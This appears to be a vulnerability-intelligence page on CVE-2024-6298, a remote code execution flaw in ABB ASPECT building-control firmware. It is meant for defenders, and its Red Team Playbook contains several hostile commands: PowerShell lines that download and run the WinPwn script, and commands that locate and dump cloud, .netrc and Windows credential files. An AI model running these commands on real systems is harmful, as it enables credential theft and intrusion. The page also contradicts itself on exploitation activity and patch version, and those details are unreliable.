CVE-2024-6298

CRITICAL EXPLOIT Pub 05/07 Upd 05/12

Overview

The vulnerability is an unauthorized file access flaw in the web server component of ABB ASPECT-Enterprise versions 3.08.01, including NEXUS and MATRIX series firmware. The root cause involves improper access control mechanisms within the web server, allowing attackers to bypass authentication and gain access to sensitive files. This flaw resides specifically in the web server's handling of file requests, enabling exploitation without user interaction or privileges.

Vulnerability Description

Unauthorized file access in WEB Server in ABB ASPECT - Enterprise v3.08.01; NEXUS Series v3.08.01 ; MATRIX Series v3.08.01 allows Attacker to execute arbitrary code remotely

Impact

An attacker with network access can remotely execute arbitrary code on affected ABB ASPECT-Enterprise devices without authentication or user interaction. This enables full system compromise, including confidentiality, integrity, and availability breaches. The vulnerability allows attackers to gain control over critical industrial control system components, leading to potential data exfiltration, operational disruption, or lateral movement within the network. The CVSS vector confirms the attack requires no privileges and no user interaction, with high impact on confidentiality, integrity, and availability.

Solution

ABB has released security updates addressing this vulnerability in ASPECT-Enterprise firmware version 3.08.01 for NEXUS and MATRIX series devices. Users should apply the patch available from ABB's official advisory at https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en, which contains detailed instructions for upgrading affected firmware. Immediate application of this update is recommended to mitigate unauthorized file access and remote code execution risks.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the WEB Server component of ABB's ASPECT and NEXUS Series firmware versions allows unauthorized file access, which can lead to remote code execution. This critical flaw arises from improper validation of user inputs, enabling an attacker to exploit the system by sending specially crafted requests. Once the attacker gains access, they can execute arbitrary code on the server, compromising the integrity and confidentiality of the system. The affected products include various firmware versions across the ASPECT, NEXUS, and MATRIX series, indicating a widespread risk across multiple ABB devices.

Exploitation of this vulnerability can occur through several attack vectors. An attacker may leverage network access to the affected devices, potentially targeting systems that are inadequately secured or exposed to the internet. By crafting malicious requests, the attacker can manipulate the server's response, leading to unauthorized access to sensitive files or execution of malicious scripts. Scenarios may include using social engineering to trick users into clicking on malicious links or exploiting weak authentication mechanisms to gain initial access. Given the critical nature of the devices involved, such as those used in industrial control systems, the implications of successful exploitation can be severe.

The real-world impact of this vulnerability is significant, especially for organizations relying on ABB's technology for operational processes. An attacker gaining remote code execution capabilities could disrupt operations, alter configurations, or exfiltrate sensitive data. The potential for cascading failures in connected systems raises the stakes, as industrial environments often depend on the seamless operation of multiple interconnected devices. The business risks include financial losses, reputational damage, regulatory penalties, and potential liability for breaches affecting third parties. The criticality of the CVSS score of 9.8 underscores the urgency for organizations to address this vulnerability promptly.

To detect and mitigate the risk associated with this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify weaknesses in the system before they can be exploited. Employing intrusion detection systems (IDS) can provide real-time monitoring of network traffic for suspicious activities indicative of exploitation attempts. Additionally, organizations should ensure that all firmware is updated to the latest versions, as vendors often release patches to address known vulnerabilities. Implementing strict access controls and network segmentation can further limit exposure, ensuring that only authorized personnel have access to critical systems.

In conclusion, the unauthorized file access vulnerability in ABB's WEB Server products presents a serious threat to industrial environments. The potential for remote code execution highlights the need for immediate action from affected organizations. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare to defend against this vulnerability. Through proactive detection and mitigation strategies, organizations can safeguard their operations and protect sensitive data from malicious actors.




CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the ABB ASPECT-Enterprise vulnerability, with telemetry indicating a doubling in detection frequency over a short period. Although the EPSS score remains stable, this surge in activity signals increased adversary interest and potential weaponization in operational environments. The availability of a new proof-of-concept exploit on public platforms further lowers the barrier for threat actors to conduct remote code execution attacks, amplifying the risk to critical industrial systems. This evolving landscape elevates the threat level from a theoretical concern to a more imminent operational risk, underscoring the necessity for heightened vigilance in monitoring and detection efforts.

Affected Products (19)

Vendor Product Version CPE
abb Abb Aspect-Ent-12 Firmware All cpe:2.3:o:abb:aspect-ent-12_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-2 Firmware All cpe:2.3:o:abb:aspect-ent-2_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-256 Firmware All cpe:2.3:o:abb:aspect-ent-256_firmware:*:*:*:*:*:*:*:*
abb Abb Aspect-Ent-96 Firmware All cpe:2.3:o:abb:aspect-ent-96_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128 Firmware All cpe:2.3:o:abb:nexus-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-A Firmware All cpe:2.3:o:abb:nexus-2128-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-F Firmware All cpe:2.3:o:abb:nexus-2128-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-2128-G Firmware All cpe:2.3:o:abb:nexus-2128-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264 Firmware All cpe:2.3:o:abb:nexus-264_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-A Firmware All cpe:2.3:o:abb:nexus-264-a_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-F Firmware All cpe:2.3:o:abb:nexus-264-f_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-264-G Firmware All cpe:2.3:o:abb:nexus-264-g_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-2128 Firmware All cpe:2.3:o:abb:nexus-3-2128_firmware:*:*:*:*:*:*:*:*
abb Abb Nexus-3-264 Firmware All cpe:2.3:o:abb:nexus-3-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-11 Firmware All cpe:2.3:o:abb:matrix-11_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-216 Firmware All cpe:2.3:o:abb:matrix-216_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-232 Firmware All cpe:2.3:o:abb:matrix-232_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-264 Firmware All cpe:2.3:o:abb:matrix-264_firmware:*:*:*:*:*:*:*:*
abb Abb Matrix-296 Firmware All cpe:2.3:o:abb:matrix-296_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

ExploitDB (1)

Title Author Type Platform Date Link
ABB Cylon Aspect 3.08.01 - Remote Code Execution (RCE) LiquidWorm webapps multiple - View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

3 events
2026-06-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Exploit Published (1 ExploitDB, 0 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
87% rce
Code Injection
69% code_injection
File Upload Vulnerabilities
68% file_upload

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-6298
search.abb.com
GitHub CVE
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch
search.abb.com
NVD API Vendor Advisory
https://search.abb.com/library/Download.aspx?DocumentID=9AKK108469A7497&LanguageCode=en&DocumentPartId=&Action=Launch&_ga=2.39956449.23035250.1719878527-141379670.1701144964